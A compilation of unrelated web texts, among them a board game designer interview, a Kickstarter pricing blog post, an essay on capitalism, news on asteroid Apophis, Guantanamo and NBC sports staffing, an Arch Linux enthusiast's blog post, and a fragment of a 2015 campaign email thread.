solo system controlling your aggregated competition. Between your actions you draw cards, referring to the special solo section of the card to reveal where competition teams appear, what they discover, when they build bases, and how much profit they gain. At the end of the Starfarers Era, you win the game if you have more profit than your competition.  Grant: What has been Players response to the game? How has the game changed through playtesting? Please give a few specific examples.  John: At this point (July 2017) we are in late playtesting stages for the multi-player game. Players like the narrative qualities of the game and the wide range of strategy options available over the course of the three Eras. I am very fortunate to be working with Chad and Kai Jensen on the development and refinement of the game. Chad is the designer of Combat Commander, Dominant Species, Urban Sprawl and the upcoming Welcome to Centreville. SpaceCorp has benefited from his considerable experience with multiplayer games. Some discoveries, edges and action effects have been tuned during testing to increase their positive impact while reducing the tendency to pick on a single player.  Thanks for your time in answering our questions John. We appreciate your work and I personally am really looking forward to playing SpaceCorp. If you are interested in ordering the game, it is still on P500 on the GMT Games’ site at the following link: https://www.gmtgames.com/p-613-spacecorp.aspx  -Grant
-The KS Experiment series is a new type of blog entry where we feature a different, new, or innovative method for Kickstarter projects to be more attractive to backers and creators. We’re not advocating these ideas–we’re just putting them out there to get feedback in the polls and comments.  I’ve been having some interesting, inspiring conversations with one of the owners of Cool Mini or Not, Chern, today in the comments of this blog entry and this one (his insights are definitely worth reading).  For a while now I’ve been toying around with a new model for Kickstarter projects in terms of early birds, exclusives, premium options, and pricing structures, and Chern’s insights have made me want to delve deeper into them.  I currently don’t have a Kickstarter project in the works, so it seems like a good time to get your thoughts on this model (see polls and comments below). It’s an amalgamation of a bunch of different ideas and mostly applies to board games, but it could work for other project categories too.  Please note that I’m neither for or against any of these ideas–at this point I’m just gauging the wisdom of my readers to see what they think.  Picture this stretch goal chart on a project page (obviously it would be much prettier):  Here’s what’s going on in this chart:  Pricing Based on Current Stretch Goals  Basically, it’s a different type of early bird structure. Instead of being based purely on time, it’s based on stretch goals. Every time you reach a big stretch goal, the Kickstarter price goes up by $2 to both reflect the increase in price and to reward backers who bought into the game when it didn’t include extra stuff (regardless of when you pledge, all KS copies include all stretch goals). I would close the $39 reward level and open a new reward at $41. You could add extra copies of games for the same price as your reward level, so there’s a big benefit to locking in the best price early on.  There is still an element of timing to the pricing structure, but it’s in the hands of the backers (note that I didn’t even consider limiting price to a certain number of backers–I don’t see any reason to do that). As soon as the $30,000 stretch goal is reached, the clock starts ticking for the big stretch goal to follow. And even if you aren’t available to pledge until after a stretch goal is reached and the price goes up, it only goes up by $2. If the project does really well, the price could keep going up, but likely I would cap it at $49 so the reward sidebar doesn’t get too cluttered.  One downside to this reward structure is that it would make my beloved premium option very difficult. I’d like to find a way to include it at $59 (some sort of Collector’s Edition), but the gap between $39 and $59 is pretty big, and I wouldn’t want to change the premium option every time I updated the base reward price.  Post-KS Enhancement Pack  There wouldn’t be any KS exclusives, but all stretch goals would be separated into an “enhancement pack” available for $20-$25 directly from Stonemaier Games post-Kickstarter. Also, there would be one constant group/retail pledge level throughout the project at $350, including shipping (it would be for the full KS game with all stretch goals).  Keep in mind that this is a departure from what we’ve done in the past. Usually our stretch goals make every copy of the game better. In this case, backers would be creating additional stuff, but they get it for free, while non-backers have to add it separately. Now that I’ve written it out, it actually isn’t all that different than what we did with Tuscany–non-backers can get all the stuff, but they have to pay more (they get it all together instead of in two separate boxes).  Separate Shipping  The last detail is that all individual shipping costs would be paid separately post-Kickstarter (as inspired by Zombicide Season 3). There are a few reasons for doing this: I think it offers backers the most accurate portrayal of the product value. I know it’s standard on Kickstarter to include US shipping (and for us, Canada, UK, Germany, China, and Taiwan) in the cost of the reward, but the negative side effect is that backers view the product as a $39 game ($60 MSRP), while really they’re getting a $60 MSRP game for $29, then they’re paying $10 shipping. $29 is not an accurate value for a $60 MSRP game. The alternative is to charge $49, but backers are still comparing that price to the $60 MSRP.  If we tried something like that for shipping, I would include a chart very similar to the one we use now that offers set pricing for the each region–it wouldn’t vary based on weight. And it would be very clearly noted in the reward level that shipping costs would be paid post-project via something like BackerKit.  I have a feeling that idea will meet the most resistance, but keep in mind that the reward price will be lower on Kickstarter as a result–you’re not paying more than you usually would. You’re paying the same amount you normally would on our campaign, but the money will be exchanged after the project instead of during it.  Also, as Itai noted in the comments, this function could be completed on Kickstarter by simply asking all backers to add-on shipping during the project (including US backers). I’ve found that many backers have trouble adding funds to their pledge, though.  These are the three ideas, and I’d love to hear your thoughts in the comments and the polls below. Thanks!
-Quite often when I am interviewed, I get the question: What precisely do you mean by “capitalism”? It’s an excellent question. The great debate among capitalism, fascism, and socialism suffers from a lack of clear language.  For example, the lackluster growth in the United States and Europe has prompted countless pundits to declare a “crisis of capitalism.” Huh? It’s been more than a century since governments let these economies grow on their own without bludgeoning them with regulations, taxing and looting the public, littering financial systems with paper money, cartelizing producers, shoveling welfare, prohibiting and hobbling a huge range of production and consumption, prohibiting labor exchanges, and funding gigantic public works.  The legal and economic arrangements that transformed the U.S. and Europe in the 19th century are long gone, replaced early in the 20th century by large and growing governments that recognize no limits to their power. This is the terrible reality that no remaining candidate for president even dares question.  To be sure, some advocates of market liberty believe that the term “capitalism” should be jettisoned permanently because it causes confusion. People might think that you favor using the state to back big business capital against labor or using public policy in a way that supports prominent producers over consumers.  Some people like to distinguish between capitalism and crony capitalism. For example, many American retailers these days are hoping for an increase in tariffs and import quotas in a way that will protect their products against foreign competition. That is, they want to use government power to guarantee their profits. It seems to me that this is better described as pure cronyism. Leave the capitalism part out of it.  If a term elucidates an idea with accuracy, great. If it causes confusion, change it. Language is constantly evolving. No particular arrangement of letters embeds an immutable meaning. And what is at stake in this debate about market freedom (or capitalism or laissez faire or the free market) is of profound importance.  It’s the substance, not the words, we should care about.  Here are five core elements to this idea of market freedom, or whatever you want to call it. It is my short summary of the classical liberal vision of the free society and its functioning, which isn’t just about economics, but the whole of life itself. Call it capitalism if you want to.  I. Volition. Markets are about human choice at every level of society. These choices extend to every sector and every individual. You can choose your work. No one can force you into labor. At the same time, you can’t impose yourself on any employer. No one can force you to buy anything, but neither can you force someone to sell to you. Choice means agreement between all those parties to the exchange.  This right of choice recognizes the infinite diversity within the human family (whereas state policy has to assume people are interchangeable units). Some people feel a calling to lead lives of prayer and contemplation in a community of religious believers. Others have a talent for managing high-risk hedge funds. Others favor the arts, or accounting, or any profession or calling that you can imagine. Whatever your calling, you are free to pursue “anything peaceful,” as Leonard Read, the founder of FEE, liked to say.  You are the chooser, but in your relations with others, “agreement” is the watchword. This implies maximum freedom for everyone in society. It also implies a maximum role for what are called “civil liberties.” It means freedom of speech, freedom to consume, freedom to buy and sell, freedom to advertise, freedom to hire someone who once lived on the other side of the national border, and so on. No one set of choices is legally privileged over others.  II. Ownership. In a world of infinite abundance, there would be no need for ownership. But as long as we live in the material world, there will be potential conflicts over scarce resources. These conflicts can be resolved through fighting over things or through the recognition of property rights. If we prefer peace over war, volition over violence, productivity over poverty, all scarce resources -- without exception -- need private owners.  Everyone can use his or her property in any peaceful way. There are no accumulation mandates or limits on accumulation. Society cannot declare anyone too rich, nor prohibit voluntary asceticism by declaring anyone too poor. At no point can anyone take what is yours without your permission. You can reassign ownership rights to heirs after you die.  Socialism is not really an option in the material world. There can be no collective ownership of anything materially scarce. One or another faction will assert control in the name of society. Inevitably, the faction will be the most powerful in society -- that is, the state. This is why all attempts to create socialism in scarce goods or services devolve into totalitarian systems of top-down planning (planned chaos, Mises called it).  III. Cooperation. Volition and ownership grant the right to anyone to live in a state of pure autarky. On the other hand, that won’t get you very far. You will be poor, and your life will be short. People need people to obtain a better life. We trade to our mutual betterment. We cooperate in work. We develop every form of association with each other: commercial, familial, fraternal, and religious. The lives of all of us are improved by our capacity to cooperate in some form with other people.  In a society based on volition, ownership, and cooperation, networks of human association develop across time and space (and especially across national borders) to create the complexities of the social and economic order. No one is the master of anyone else. If we want to succeed in life, we come to value serving each other in the best ways we can. Businesses serve consumers. Managers serve employees, just as employees serve businesses.  A free society is a society of extended friendship. It is a society of service and benevolence.  IV. Learning. No one is born into this world knowing much of anything. We learn from our parents and teachers, but more importantly, we learn from the infinite bits of information that come to us every instant of the day all throughout our lives. We observe success and failure in others, and we are free to accept or reject these lessons as we see fit. In a free society, we are free to emulate others, accumulate and apply wisdom, read and absorb ideas, and extract information from any source to adapt for our own uses.  All of the information we come across in our lives, provided it is obtained non-coercively, is a free good, not subject to the limits of scarcity, because it is infinitely copyable. You can own it, and I can own it, and everyone can own it without limit and without depletion.  Here we find the “socialist” side of the capitalist system. The recipes for success and failure are everywhere and available for the taking. This is why the very notion of “intellectual property” is inimical to freedom. It always implies coercing people and thereby violating the principles of volition, authentic ownership, and cooperation.  V. Competition. When people think of capitalism, competition is perhaps the first idea that comes to mind. But the idea is widely misunderstood. It doesn’t mean that there must be several suppliers of every good or service, or that there must be a certain number of producers of anything. It means only that there should be no legal (coercive) limits on the ways in which we are permitted to serve each other. And there really are infinite ways in which this can take place.  In sports, competition has a goal: to win. Competition has a goal in the market economy, too: service to the consumer through ever increasing degrees of excellence. This excellence can come from providing better and cheaper products or services, or from providing innovations that meet people’s needs better than existing products or services. It doesn’t mean “killing” the competition; it means striving to do a better job than anyone else.  Every competitive act is a risk, a leap into an unknown future. Whether the judgment was right or wrong is ratified by the system of profit and loss, which are signals that serve as objective measures of whether resources are being used wisely or not. These signals are derived from prices established freely on the market -- which is to say that they reflect prior agreements among choosing individuals.  Unlike in sports, there is no endpoint to the competition. It is a process that never ends. There is no final winner; there is an ongoing rotation of excellence among the players. And anyone can join the game, provided they go about it peacefully.  Summary. There we have it: volition, ownership, cooperation, learning, and competition. That’s capitalism as I understand it, as described in the liberal tradition improved by many great thinkers in the course of the the 20th and 21st centuries. It is not a system so much as a social setting for all times and places that favor human flourishing.  It’s not hard to discern my political outlook, then: If it fits with these pillars, I’m for it; if it does not, I’m against it. Now, you tell me: Is the crisis in the U.S. and Europe really a crisis of capitalism? On the contrary, an authentic liberalism (capitalism) is the solution to the greatest crises facing the world today.
-After tracking asteroid 99942 Apophis with NASA's giant Goldstone radar dish, astronomers are now certain that the threatening asteroid has essentially no chance of striking Earth in 2036.  Astronomers surely enjoy dramatic stories as much as the rest of us. But today they played spoilers with the welcome announcement that the sizable Earth-crossing asteroid 99942 Apophis will pose no threat when it comes near our planet in 2036.  [fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/Apophis_encounter_2013.jpg" url_large="" alt="Orbits of Apophis and Earth" caption="The asteroid Apophis passed within 9 million miles of Earth on January 9, 2013 — a preview of a very-much-closer encounter in 2029. Click here for an interactive version of this orbital view." credits="NASA / JPL" width="" height="" align="right"]Right now Apophis is in the midst of a rather distant yet much-awaited pass in Earth's vicinity, coming within 9 million miles (14½ million km) earlier today. It's been tracked for about 2½ weeks by NASA's 230-foot (70-m) Goldstone radio/radar dish in California, and those observations have given astronomers the confidence to issue an "all clear" for the foreseeable future.  "Goldstone single-pixel observations of Apophis have ruled out the potential 2036 Earth impact," says Jon Giorgini, a dynamicist at NASA's Jet Propulsion Laboratory. Based on revised orbit calculations, he says Apophis will then come no closer than about 14 million miles — and more likely miss us by something closer to 35 million miles. Moreover, the radar data have improved the asteroid's positional uncertainty so much that dynamicists can now accurately predict its trajectory decades into the future.  "We're observing it at 75-meter resolution, which is better than we expected," notes Lance Benner (Jet Propulsion Laboratory), who's leading the radar effort. "The signal-to-noise ratios [of the radar echoes] are a bit stronger than we thought they'd be, so the radar astrometry is more precise than we expected."  Apophis was discovered in 2004 by observers Roy Tucker, David Tholen, and Fabrizio Bernardi. At first, orbital computations suggested that this near-Earth asteroid, initially designated 2004 MN 4 , had a 3% chance of striking our planet in 2029. About a year later, it was named Apophis, for the Egyptian god of evil and destruction. (An apt name, don't you think?) Fortunately, by then prediscovery observations had led to a revised orbit, which ruled out an impact in 2029.  [fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/Apophis-2029-flyby.jpg" url_large="" alt="Apophis and Earth in 2029" caption="On Friday the 13th in April 2029, a 1,000-foot-wide asteroid named Apophis will pass close enough to Earth (within 20,000 miles) to briefly appear as a 3rd-magnitude star in the night sky." credits="Dan Durda" width="" height="" align="right"]But we weren't out of danger yet. A collision remained possible in 2036, and the chance of that hinged on the near-miss flyby in 2029, when Apophis will zip by just 20,000 miles (32,000 km) away. Were that to occur at a particular spot in space, what dynamicists call a keyhole, an impact would become very likely on the return visit in 2036. The problem is that the orbital specs of Apophis weren't known accurately enough to predict exactly where it would fly past in 2029.  Adding to the uncertainty is the extent to which a subtle force, known as the Yarkovsky effect, might be altering the asteroid's orbit. This effect is caused by the uneven way that a spinning body absorbs sunlight and then reradiates it back to space. Ground-based observers determined that Apophis rotates in 30½ hours, but it likely has more than one period involving multiple spin axes.  The object's shape and spin orientation are unknown — and might remain open questions until 2029. "We might get coarse-resolution images that barely resolve the object and indicate its orientation," explains Benner, "but even that could be optimistic."  Conceivably, gentle but persistent nudging from the Yarkovsky effect might have pushed Apophis straight through the 2029 keyhole. But again, says Giorgini, there's no longer any chance of that. The Goldstone observations have "shrunk the orbital uncertainties so much that, regardless of what the still-unknown physical parameters of Apophis might be, radiation pressure can't be enough to move the measurement uncertainty region enough to encounter the Earth in 2036."  Were this asteroid to hit us, very bad things would happen. Apophis is an estimated 900 feet (270 m) across, and it would strike with the kinetic-energy equivalent of roughly 500 million tons of TNT.  [fw-embed-media url="https://s22380.pcdn.co/wp-content/uploads/Apophis_Herschel_model.jpg" url_large="" alt="Temperatures on Apophis" caption="Using infrared observations from the Herschel space telescope, astronomers have estimated the range of temperatures on the surface of Apophis (350 Kelvins corresponds to about 170°F). However, the asteroid's shape is most likely elongated, not spherical." credits="ESA / T. M?ºller" width="" height="" align="right"]Just-released infrared observations from the European Space Agency's Herschel spacecraft suggest that the diameter of Apophis might be some 20% larger . "“The 20% increase in diameter, from 270 to 325 m, translates into a 75% increase in our estimates of the asteroid’s volume or mass,” says Thomas Müller (Max Planck Institute for Extraterrestrial Physics), who is coordinating the Herschel observations. However, his team's modeling assumes that Apophis is spherical — and the actual shape is thought to be elongated.  We haven't heard the last word on this little interplanetary demon. Goldstone radar observations of Apophis will continue through January 17th, and additional tracking is planned next month with the giant Arecibo radio dish in Puerto Rico. All that pinging should yield super-accurate positional data and, perhaps, reveal the asteroid's shape and spin state.  But the worry about Apophis has only been postponed, not eliminated. Its orbit is not all that different from Earth's, and some day in the distant future the two bodies will either have a catastrophic collision — or an encounter so close that Earth's gravity will yank Apophis onto a new and significantly different interplanetary path.  In fact, "The 2068 impact probability for Apophis is now one in 189,000," notes Rusty Schweickart (cofounder of the asteroid-monitoring B612 Foundation), "which is higher than the 2036 impact probability was."
-The US has just missed a deadline to close the prison camp A task force on the US prison camp at Guantanamo Bay, Cuba, has advised that 47 inmates should be held indefinitely without trial, officials say. It is thought to be the first time that officials have given a figure for those who might be held without charge. A US civil liberties group has said detainees should not be held without due process in Guantanamo or elsewhere. The news came as the deadline US President Barack Obama had set himself for closing the prison camp passed. The task force, led by the US justice department, recommended that while 35 people could be prosecuted through trials or military tribunals, 110 could be released either now or at a later date, unnamed officials said. The other nearly 50 detainees are considered too dangerous to release, but cannot be tried because the evidence against them is too flimsy or was extracted from them by coercion, so would not hold up in court. 'Dismay' Congress has laid down that only those to be tried can be moved to US soil, so the question of what to do with those to be detained indefinitely without trial has yet to be resolved. Just as important as closing the prison quickly is closing it right  Anthony Romero  American Civil Liberties Union The BBC's Adam Brookes says the outcome will dismay many of Mr Obama's supporters, who had hoped the president would end the practice of detention without trial. The American Civil Liberties Union was quick to react to the task force's reported recommendations. "Just as important as closing the prison quickly is closing it right, and that means putting an end to the illegal policy of indefinite detention without charge or trial," said the group's executive director, Anthony Romero. "This practice was wrong in Cuba and would remain so here [in the US], reducing the closure of Guantanamo to a symbolic gesture." A White House official stressed that this was only a recommendation, which Mr Obama does not have to accept. The task force's findings are subject to review by the National Security Council. More than 40 detainees have been transferred out of the prison under the Obama administration. But diplomatic hurdles and domestic opposition to the government's plan to house suspects on US soil have hampered his plans to close it down completely. Plans to move detainees approved for trial to a prison facility in Illinois remain under consideration. Yemen suspension The task force recommended that among those cleared for release, 80 detainees, including about 30 Yemenis, could be freed immediately, the Washington Post said. The panel said the release of another 30 Yemenis should be contingent on an improved situation in Yemen, the newspaper reported. However, the US recently suspended the repatriation of Yemeni prisoners indefinitely, following an airliner bomb plot that was allegedly planned in Yemen. Yemenis account for approximately half of the inmates at Guantanamo. Mr Obama set himself the 22 January deadline a year ago, shortly after being sworn in. He has subsequently said he wants the camp closed this year, without setting a specific deadline.  Bookmark with: Delicious  Digg  reddit  Facebook  StumbleUpon What are these? E-mail this to a friend Printable version
-Alex Flanagan, who had been a sideline reporter for NBC’s national broadcast of Notre Dame football games since 2007, is being replaced, sources tell The Big Lead. Flanagan had also been a reporter for NBC’s Sunday Night Football pregame show, and sources say she will no longer appear on the program.  NBC Sports spokesman Chris McCloskey said in a statement to The Big Lead: “We are fine-tuning our Notre Dame coverage and will reveal our new plans closer to the start of the season. Alex will not be with us in South Bend, but she remains in the NBC family.”  It’s unclear who NBC is going to replace Flanagan with on Notre Dame games, but sources at the network say that three of the names that have been discussed are Julie Donaldson (Comcast Mid-Atlantic), Liam McHugh (does a little bit of everything for the network) and Carolyn Manno (NBCSN’s SportsDash and Football Night in America). It is unclear whether or not Notre Dame has to approve the sideline reporter.  Sources say that shifting into Flanagan’s spot on the NFL pregame show – she previously reported from the afternoon games – will be Josh Elliott, who the network hired in March. He’ll be a features reporter.  Flanagan, who will still be working for the NFL Network this Fall, didn’t respond to a text message today seeking comment.  [UPDATE: Flanagan emailed The Big Lead a statement: “I’m grateful for the time I spent on the sideline in South Bend. I will truly miss the Notre Dame community. I’ll still work with NBC Sports on other projects. I’ll have more news about where I’ll be spending my fall weekends soon.” ]
-In this post I’d like to talk about one of the things I love the most in tech, which is my favorite Linux distribution, called Arch Linux and why I chose it as my main OS.  About Arch Linux  Arch was created in 2002 by Judd Vinet in Canada and is now led by Aaron Griffin and other developers. It was inspired by CRUX and aims to be a simple and lightweight distribution with optimized packages for the i686 and x86-64 architectures.  According to the Arch wiki: The design approach of the development team follows the KISS principle (“keep it simple, stupid”) as the general guideline, and focuses on elegance, code correctness, minimalism and simplicity, and expects the user to be willing to make some effort to understand the system’s operation. A package manager written specifically for Arch Linux, pacman, is used to install, remove and update software packages.  Arch Linux uses a rolling release model, such that a regular system update is all that is needed to obtain the latest Arch software; the installation images released by the Arch team are simply up-to-date snapshots of the main system components  A little bit of my history with Linux  My history with Linux started a little bit before December 2006 with a Brazilian distribution based on Debian that no longer exists, called Kurumin. I just knew that I had to learn something different from Windows, because come on, I was about to start my Computer Science course, so I decided I had to know about technology in a deeper level. It should be more than just clicking and dragging a mouse on Windows.  Everybody was using Windows, but this idea of Linux really attracted me. It was an easy migration for me, as KDE doesn’t and didn’t use to look so different from Windows at that time either. After a while I started reading more about Linux distributions and got interested in Debian, as Kurumin was based on Debian. I thought: Why not go for the source, the father (or mother?), instead of using something based on it?  I found Debian harder to install and configure for the beginner that I was at the time, but kept digging deeper and asking questions on forums, slowly learning more about it. The more I learned, the more motivated I’d get to know more about it, because I was not only learning how Linux works, but about Unix and operational systems in general. When I realised I could assemble my own OS with the packages I wanted, curiosity spoke louder and I was already completely involved in it.  It was amazing to discover I could choose among many desktop environments instead of being trapped in just one of them, like I was when using Windows. It was very insteresting to discover too that they were made of packages that would run on the X server, so even if the graphic part would crash, I could just kill it and run it again, unlike MS Windows that doesn’t have that separation between graphic and text mode and I’d have to Ctrl+alt+del it and restart the whole system. Another thing I found really great was the apt package manager. I didn’t need to go to many websites and download the softwares I wanted, because I could just do an ‘apt-get install nameofsoftware’ and it would download and install it for me. No more next next finish, no more clicking and that was so practical. In order to update the whole system, I just needed to use the package manager as well, so that was great.  My curiosity led me to try Slackware for some time, but the lack of a package manager with repositories and automatic dependency solving made me lose so much time that I didn’t stick with it for so long, even though it was interesting to learn about a new distribution and how it worked differently from Debian. I felt it was just not practical, though I could configure it just as I wanted. I learned about the KISS philosophy because of Slackware and started to adopt it.  I went back to Debian and used it as my main distribution until 2008, when I decided to try Arch Linux after reading a lot of good things about it. It was just love at first sight, after I discovered how customizable it is and that I could do anything I’d like to with it in a very simple way. Since 2008, I’ve tried many other distributions, most notably Fedora for some months, but wasn’t able to stay away from Arch Linux for too long. I had already been spoiled by Arch and its simplicity, its KISS philosophy. Fedora just had so many wizards for everything and I understood that those are layers of unnecessary complexity when you can just change some values in a text file to make things work (Arch way) instead. Here are some of the things I love about Arch Linux and that made me choose it and until today not even think about replacing it for any other distribution:  Pacman  This is the name of Arch’s package manager. Since I started using Linux, I’ve used apt (Kurumin, Debian, Ubuntu), yum (Fedora) and others, but by far pacman is the best package manager for me. It’s fast, you need just one command to update the repositories and upgrade de system (pacman -Syu), instead of two (apt-get update && apt-get upgrade), it installs packages that are in the hard drive as well instead of in repositories, no need for a different command for that (like dpkg), and have I mentioned that it’s fast? It also handles dependencies very well and the repositories have a plethora of packages. I broke many things with apt and dpkg, but never with pacman.  Read more about it on Arch Wiki  ABS (Arch Build System)  ABS is a ports-like system. Ports is a system used by *BSD to automate the process of building software from source code. So for example, if you don’t wanna use the Firefox binary package that is easily available on Arch’s repositories via pacman because you wanna change something on it to enable or disable a feature, you have access through ABS to the PKGBUILD file with the instructions used for compiling the Firefox package, so you can change them, compile it and install your own Firefox package instead, optimized the way you want. I’ve configured the compiler once to work in an optimized way for my specific CPU, then compiled all the LXDE packages from ABS and installed them. I noticed they were running a little bit faster after that.  AUR (Arch User Repository)  Arch Linux packages are infinite, because if you don’t have a package in the official repositores to install via pacman, you may almost certainly find it in the AUR, which stands for Arch User Repository. Even if you can’t find it there because nobody added it yet, you can do it yourself and become the maintainer for that package. You just need to check other packages and how their PKGBUILD file with instructions was created, then create one for the package you want and upload it in the AUR website. Recently AUR started using git for its packages, so it’s even better now. You just need to push the changes. The packages are usually compiled from source code, so it works similar to ABS in that sense, but in the AUR there are also some proprietary software that don’t have the source code available. In that case, the binary will be downloaded and a package will be created with it.  According to the wiki: A good number of new packages that enter the official repositories start in the AUR. In the AUR, users are able to contribute their own package builds (PKGBUILD and related files). The AUR community has the ability to vote for or against packages in the AUR. If a package becomes popular enough — provided it has a compatible license and good packaging technique — it may be entered into the community repository (directly accessible by pacman or abs).  Read more about it on Arch Wiki  Rolling release  The rolling release model is certainly one of my favorite things about Arch Linux. Instead of having to do an apt-get dist-upgrade or something similar every 6 months or so (and risk breaking everything), in order to get the most recent version of the distribution, Arch just doesn’t release any version. That means that after I update the entire system with one single ‘pacman -Syu’ command, I have the most recent version of Arch. Why not have it this way? It just works and during all these years my system was never left broken after an update, even though the packages are usually the latest available (bleeding edge).  Read more about Arch compared to other distributions  The Arch Wiki  That’s the most complete documentation I’ve ever seen about a distribution. The wiki is so complete that I never had to ask anything in the forums. Whenever the developers decide to change something about how Arch will work, all the steps the user needs to take will be written in the wiki and even the problems that might happen in the process. It’s really complete.  Distros that are based on Arch Linux  Due to the success of the distribution, many based ones started to appear. They usually come with an installer that does everything for the user and also some software by default. That’s useful for when you just wanna install it as fast as possible and already start using it having to configure the least possible. At work for example, I decided to give Manjaro a try instead of using Ubuntu. Besides Manjaro, other ones worth trying are Chackra (heavily geared towards KDE) and more recently Apricity OS, which I still haven’t tried on the date I’m writing this post, but it looks interesting.  Read more about Arch based distributions:
-The new bike path connects the east and west portions of the Santa Clara River Trail, making for a smoother, safer ride. Also note dedicated sidewalk for pedestrians. Photos by Joe Lemon/Metro. Newly widened bridge with dedicated bike path and protected sidewalk. Local officials celebrate the official completion of the McBean Bridge Widening and Bike Path Project.  The city of Santa Clarita held a ribbon cutting ceremony this morning to celebrate the completion of the McBean Bridge Widening and Bike Path Project. The project was funded with $3.775 million through Metro’s 2009 Call for Projects. The city contributed $3.088 million.  The McBean Bridge Widening and Bike Path Project includes the widening of the McBean Parkway Bridge to eight lanes to improve traffic flow, the addition of a raised landscaped median and asphalt improvements.  The project also added a dedicated bike path and protected sidewalk on the bridge to connect the Santa Clara River Trail and the South River Trail. An additional trail connection beneath the north side of the bridge to connect the east and west portions of the Santa Clara River Trail was also built, providing improved connectivity for bicyclists and pedestrians.  Like this: Like Loading...
-Internationally renowned human rights lawyer Amal Clooney gave an impassioned speech at the United Nations Thursday, urging the organization to investigate crimes committed by ISIS in Iraq.  Yet here's how some news sites chose to cover the event:  Amal Clooney shows off her baby bump at the United Nations https://t.co/0Vkr8aad1D  Rather than highlight the substance of Clooney's speech, multiple news and entertainment publications chose to focus on her "baby bump" instead. Clooney is expecting twins with her husband, actor George Clooney.  Here are some of the headlines that circulated in the days before — and on the day of — Clooney's UN speech:  Remarkably, most of these stories acknowledge that Clooney was indeed visiting the UN, suggesting at least partial awareness that she was on official business. Yet as is often the case with women, these observers seemed more interested in her physical appearance and personal life than her professional accomplishments.  Twitter users were quick to highlight this sexist double standard to Time:  @TIME she was talking about sexual slavery and Isis.  @TIME This is lazy and sexist journalism, period.  @TIME ARE YOU FUCKING KIDDING ME??  @TIME @motto wow. I am shocked at how disrespectful that headline is to the critical work she was doing.  TIME updated the post late Thursday morning with a new headline.  Amal Clooney is no stranger to this dynamic. In 2015, the Associated Press drew similar criticism for posting a tweet about the human rights lawyer referring to her as an "actor's wife."  Amal Clooney, actor's wife, representing Al-Jazeera journalist accused in Egypt of ties to extremists http://t.co/i6nQg0xPg3  Yet despite it all, Clooney's dogged efforts to investigate ISIS continue.  "I am speaking to you, the Iraqi government, and to you, U.N. member states, when I ask: Why? Why has nothing been done?" Clooney said to the UN Thursday, according to the Washington Post. "Don't let ISIS get away with genocide."  March 10, 2017, 11:11 a.m.: This post has been updated.
-On the 26th and 27th of June 2015, in Badia Fiesolana, Florenza, Italy, a conference in Italy attempted to answer one complex question: what is the future of Basic Income (BI) research? The conference at the European University Institute approached this question through a variety of lenses, from philosophy to economics, and attempted to intersect these various disciplines.  “Moving away from purely normative justifications, there has been an increasing attention to topics at the intersection of philosophy and economics within the literature”, the event topic summary reported.  The event was organized by Max Weber Fellows Robert Lepenies and Juliana Bidadanure, as well as other professors interested in the BI concept, according to the conference schedule.  Other covered topics included the political feasibility of BI and the implications of BI activism on research about the subject.  The conference included papers that were selected from a competitive call for abstracts. In total, there were 22 papers discussed. An abstract of an accepted paper entitled “Basic Income, Direct Cash and Normative change” argues that the BI model empowers the poor.  “Several studies and experiments show that DC is a cost-efficient way of ensuring long-term improvement of living standards, as the monetary support is invested in housing, health, education, improves employment prospects, and supports positive and peaceful political transformation. The novelty of DC lies however also in the way it treats aid recipients: as autonomous, not passive beneficiaries”, that abstract resumed.  On the second day of the conference Philippe Van Parijs and Yannick Vanderborght’s new book on basic income was discussed.  European University Institute Florence, “The Future of Basic Income Research“, Max Weber Multidisciplinary Conference, June 26-27, 2015.
-Speaking at a press conference attended by some 200 Iranian and foreign reporters in Tehran on Tuesday, President Rouhani pointed to the recent remarks made by US President-elect Donald Trump against the nuclear deal, and stressed that the idea of re-negotiating JCPOA [raised by Trump] is nonsense.  “Negotiations have been aimed at concluding the final deal, and have taken several years to complete,” Rouhani noted in the press conference held on the first anniversary of JCPOA implementation day.  “JCPOA is not such a deal that someone elected somewhere in the world says I don’t like it,” he added, referring to Trump’s opposition to the nuclear accord, according to a report by IFP.  “The US President-elect cannot dislike this deal. As Holy Quran says, you might dislike something while it is in your interest. The new US president doesn’t know that JCPOA benefits him,” Rouhani said, reiterating that the Joint Comprehensive Plan of Action is a win-win deal.  Elsewhere in his remarks, he noted that the historic deal over Iran’s nuclear program and its implementation has belied the claims against the country seeking weapons of mass destruction and demonstrated the honesty and sincerity of the Islamic Republic.  Rouhani further noted that those who claimed that Iran sought to develop nuclear and other weapons of mass destruction were speaking unjustly and unjustifiably and they should be ashamed of themselves now.  “Very few pundits believed that the issue of PMD (Possible Military Dimensions to Iran’s nuclear program) would be resolved, and the International [Atomic Energy] Agency would admit that Iran’s outstanding issues had ended,” the Iranian president said.  Describing the JCPOA as “a great national achievement,” Rouhani said, “The closure of this dossier amounted to a moral victory for the great Iranian nation.”  Rouhani stressed that all nuclear-related sanctions against the Islamic Republic have been removed after implementation of the JCPOA started, adding that there are no more bans in the gas, oil and transport sectors, Press TV reported.  He added that, however, the US, given its hostility toward the Islamic Republic, has been creating obstacles in the banking transactions between Tehran and the rest of the world.  Rouhani said Iran “is standing with great might and powerfully against” the violations of the JCPOA, adding, however, that “we have not acted and will not act hastily, because national interests are a principle for us and we will always bear in mind these interests.”
-Re: Follow up the HRC idea re; foundation  I understand why you guys are eager to do this but I really worry worry about the look of the stake out footage outside a fundraiser. Also, I imagine she will have to answer more questions next week post WJC and post release of the book. Why not wait and try to do just once? Mandy Grunwald Grunwald Communications 202 973-9400 > On Apr 29, 2015, at 11:37 PM, Joel Benenson  wrote: > > Agree with Jen. > Also tend to agree with her going before him. Anything other than her taking quid pro quo of the table, included what would say first, won't take questions about her actions off the table. > > Joel Benenson > Benenson Strategy Group > > On Apr 29, 2015, at 11:15 PM, Mandy Grunwald  wrote: > >> Why do you think she needs to do this before WJC? >> >> Mandy Grunwald >> Grunwald Communications >> 202 973-9400 >> >> >> On Apr 29, 2015, at 11:12 PM, Robby Mook  wrote: >> >>> Ditto with John. Would need to be prepared for more...but would be fantastic to limit to one. >>> >>>> On Wed, Apr 29, 2015 at 11:11 PM, John Podesta  wrote: >>>> Fine with the proposed way of handling what she says, but hard setting to take only one question. >>>> >>>>> On Apr 29, 2015 8:02 PM, "Jennifer Palmieri"  wrote: >>>>> First, thanks to all for the marathon session today, I thought we got >>>>> a lot of good work done. >>>>> >>>>> Second, I wanted to follow up on HRC idea of doing the video. Having >>>>> thought about it and talked to Craig and Maura about it - I don't >>>>> think it is good idea for her to do. There aren't great answers and >>>>> in many cases not her place to answer them. >>>>> >>>>> But I think it does make sense for her to publicly state 